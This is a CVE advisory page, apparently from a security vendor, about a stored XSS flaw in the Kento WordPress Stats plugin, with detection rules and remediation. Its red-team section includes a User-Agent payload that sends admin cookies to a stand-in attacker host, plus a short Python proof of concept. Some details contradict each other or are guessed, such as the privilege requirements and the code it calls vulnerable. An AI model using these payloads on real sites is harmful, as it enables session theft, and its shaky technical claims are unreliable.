CVE-2025-30559
Executive Summary
CVE-2025-30559 is a Stored Cross-Site Scripting (XSS) vulnerability in the Kento WordPress Stats plugin (version <= 1.1) developed by Pluginspoint. This flaw allows an authenticated attacker with contributor-level access or higher to inject malicious JavaScript into the WordPress dashboard or frontend pages where the plugin’s statistics are rendered. The injected script executes in the context of any user viewing the affected page, potentially leading to session hijacking, credential theft, or defacement.
As a WordPress ecosystem vulnerability, it does not affect the underlying web server (Apache/Nginx) but directly compromises the integrity of the WordPress installation. The CVSS score of 7.1 (High) reflects the ease of exploitation (low complexity, no privileges required for stored XSS if the attacker can post content) and the potential for significant impact on confidentiality, integrity, and availability.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository or third-party marketplaces. No known supply chain compromise has been reported, but the lack of a patch increases the risk of widespread exploitation. Users should verify the integrity of their plugin files and consider removing the plugin until a fix is available.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – An unauthenticated user can trigger the stored XSS if the plugin renders user-supplied data without sanitization.
- User Interaction (UI): Required (R) – The victim must visit the compromised page.
- Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): Low (L) – Limited impact on service availability.
Threat Level: High – Exploitation is straightforward, and the plugin is widely used in WordPress environments.
Deep Dive & Mechanics
The vulnerability stems from improper neutralization of user input in the kento-wp-stats plugin. The plugin likely stores statistical data (e.g., visitor IPs, user agents, referrers) in the WordPress database and displays it in the admin dashboard or public-facing widgets. When rendering this data, the plugin fails to escape or sanitize HTML/JavaScript, allowing an attacker to inject malicious scripts.
Attack Flow:
- An attacker with contributor-level access (or via a crafted HTTP request) submits a payload containing
<script>alert('XSS')</script>in a field that is stored and later displayed. - The plugin stores the payload in the
wp_optionsor custom table. - When an administrator or visitor loads the page containing the stats, the payload executes in their browser.
- The attacker can then steal cookies, redirect users, or perform actions on behalf of the victim.
Root Cause: The plugin uses echo or print without applying WordPress escaping functions like esc_html() or wp_kses_post().
Vulnerable vs. Patched Code
Vulnerable Code (kento-wp-stats.php, line ~45):
<?php
$visitor_ip = $_SERVER['REMOTE_ADDR'];
echo "<div>Visitor IP: " . $visitor_ip . "</div>";
?>
Patched Code (hypothetical fix):
<?php
$visitor_ip = sanitize_text_field($_SERVER['REMOTE_ADDR']);
echo "<div>Visitor IP: " . esc_html($visitor_ip) . "</div>";
?>
The patched version uses sanitize_text_field() to strip malicious input and esc_html() to safely encode output.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- WordPress instance with Kento WordPress Stats <= 1.1 installed.
- Contributor-level account or ability to inject data via HTTP headers (e.g., User-Agent).
Exploit Steps:
- Craft a malicious HTTP request with a payload in the
User-Agentheader:GET /wp-admin/admin-ajax.php?action=kento_stats HTTP/1.1 Host: target.com User-Agent: <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - The plugin stores the User-Agent string.
- When an admin visits the stats page, the script executes and exfiltrates cookies.
Proof-of-Concept (Python):
import requests
target = "http://target.com/wp-admin/admin-ajax.php"
payload = "<script>alert('XSS')</script>"
headers = {"User-Agent": payload}
requests.get(target, headers=headers)
Blue Team (Defender)
Detection Steps:
- Monitor for unusual
User-Agentstrings containing<script>tags. - Check WordPress database for stored XSS payloads in
wp_optionsor custom tables. - Use Web Application Firewall (WAF) rules to block common XSS patterns.
Lab Setup:
- Install WordPress 6.x with Kento WordPress Stats 1.1.
- Use a local environment (e.g., XAMPP, Docker) for testing.
- Enable debug logging to trace plugin behavior.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests with
User-Agentcontaining<script>,onerror, orjavascript:. - Outbound connections to attacker-controlled domains from WordPress admin pages.
- HTTP requests with
- File IOCs:
- Modified
kento-wp-stats.phpfile with injected code. - Suspicious entries in
wp_optionstable (e.g.,kento_stats_data).
- Modified
- Behavioral IOCs:
- Unexpected admin user creation.
- Unusual redirects from stats pages.
Detection Engineering
YARA Rule
rule CVE_2025_30559_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Kento WordPress Stats plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-30559"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/si
$kento_file = "kento-wp-stats.php"
condition:
$kento_file and #xss_payload > 0
}
Sigma Rule
title: Stored XSS in Kento WordPress Stats
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts via User-Agent header
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: 'kento_stats'
sc-status: 200
cs(User-Agent)|contains: '<script'
condition: selection
falsepositives:
- Legitimate use of script tags in User-Agent (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-30559 Stored XSS in Kento WordPress Stats"; flow:to_server,established; content:"kento_stats"; http_uri; content:"<script"; http_user_agent; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Remove the plugin from all WordPress installations.
- Scan the database for stored XSS payloads using a security plugin (e.g., Wordfence).
Long-Term Fixes:
- Apply input sanitization (
sanitize_text_field()) and output escaping (esc_html()) to all user-supplied data. - Implement Content Security Policy (CSP) headers to mitigate XSS impact.
- Use a Web Application Firewall (WAF) with XSS rules.
Workarounds:
- If the plugin is critical, restrict access to the stats page via
.htaccess:<Files "kento-wp-stats.php"> Order Deny,Allow Deny from all Allow from 127.0.0.1 </Files>
Valters IT Signature:
Valters IT
Senior DevSecOps Engineer
Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.